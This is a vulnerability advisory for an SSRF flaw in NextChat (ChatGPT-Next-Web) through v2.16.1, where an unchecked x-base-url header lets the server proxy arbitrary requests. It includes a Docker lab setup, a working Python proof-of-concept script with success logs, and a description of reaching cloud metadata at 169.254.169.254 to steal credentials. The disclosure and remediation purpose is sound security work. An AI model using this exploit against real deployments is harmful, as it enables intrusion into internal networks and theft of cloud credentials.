### Vulnerability Overview **Title**: Server-Side Request Forgery (SSRF) via Open Proxy Fallback (`x-base-url` Header) **Description**: - **Vulnerability Type**: Server-Side Request Forgery (SSRF) - **Impact**: Allows unauthenticated attackers to execute arbitrary HTTP requests, accessing internal or external networks. - **Root Cause**: NextChat's Next.js proxy route handler (`app/api/proxy.ts`) invokes a generic fallback handler (`app/api/[provider]/[...path]/route.ts`) when an unrecognized provider is received. This handler incorrectly trusts the `x-base-url` HTTP header to determine the target URL without performing domain validation. ### Scope - **Affected Products**: - **Ecosystem**: npm - **Package Name**: nextchat (ChatGPT-Next-Web) - **Affected Versions**: <= v2.16.1 - **Fixed Version**: Not specified - **Severity**: High - **CVSS Vector String**: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - **Weakness**: CWE-918: Server-Side Request Forgery (SSRF) ### Remediation - **Specific Fix**: Implement strict domain whitelisting and input validation within the `proxyHandler` to prevent direct access to malicious internal targets. ### POC Code #### Docker Compose Configuration ```yaml services: nextchat: build: context: ../.. dockerfile: Dockerfile container_name: nextchat-proxy-ssrf ports: - "3000:3000" environment: - BASE_URL=http://localhost:3000 ``` #### Python Exploit Script ```python import requests def test_proxy_ssr(): target = "http://localhost:3000/api/unknown-provider/get?foo=bar" headers = { "x-base-url": "http://httpbin.org" } try: response = requests.get(target, headers=headers, timeout=10) print("[*] Proxy SSRF Response Status:", response.status_code) print("[*] Response body snippet:") print(response.text[:500]) if "httpbin.org" in response.text and response.status_code == 200: print("[SUCCESS] Exploit bypassed routing and hit target via Proxy SSRF!") else: print("[FAILED] Request blocked or failed. Status:", response.status_code) except Exception as e: print("[FAILED]", e) if __name__ == "__main__": test_proxy_ssr() ``` ### Evidence Logs ```plaintext [*] Proxy SSRF Response Status: 200 [*] Response body snippet: { "args": { "foo": "bar" }, ... "headers": { "Host": "httpbin.org", ... } } [SUCCESS] Exploit bypassed routing and hit target via Proxy SSRF! ``` ### Impact - **Attackers can leverage SSRF to**: - Proxy requests to internal network services, bypassing firewalls. - Access internal metadata (such as the AWS Cloud Instance Metadata Service at `169.254.169.254`) to steal temporary AWS cloud credentials. - Use the server as an open proxy to anonymously attack external domains. ### Occurrence Details - **Permanent Links**: - [https://github.com/Yidaadaa/ChatGPT-Next-Web/blob/main/app/api/proxy.ts](https://github.com/Yidaadaa/ChatGPT-Next-Web/blob/main/app/api/proxy.ts) - [https://github.com/Yidaadaa/ChatGPT-Next-Web/blob/main/app/api/%5Bprovider%5D/%5B...path%5D/route.ts](https://github.com/Yidaadaa/ChatGPT-Next-Web/blob/main/app/api/%5Bprovider%5D/%5B...path%5D/route.ts) - **Description**: - The `proxyHandler` blindly trusts the `x-base-url` header without domain whitelisting or loop detection to determine the upstream proxy target. - The fallback router routes unknown providers directly to the insecure `proxyHandler`.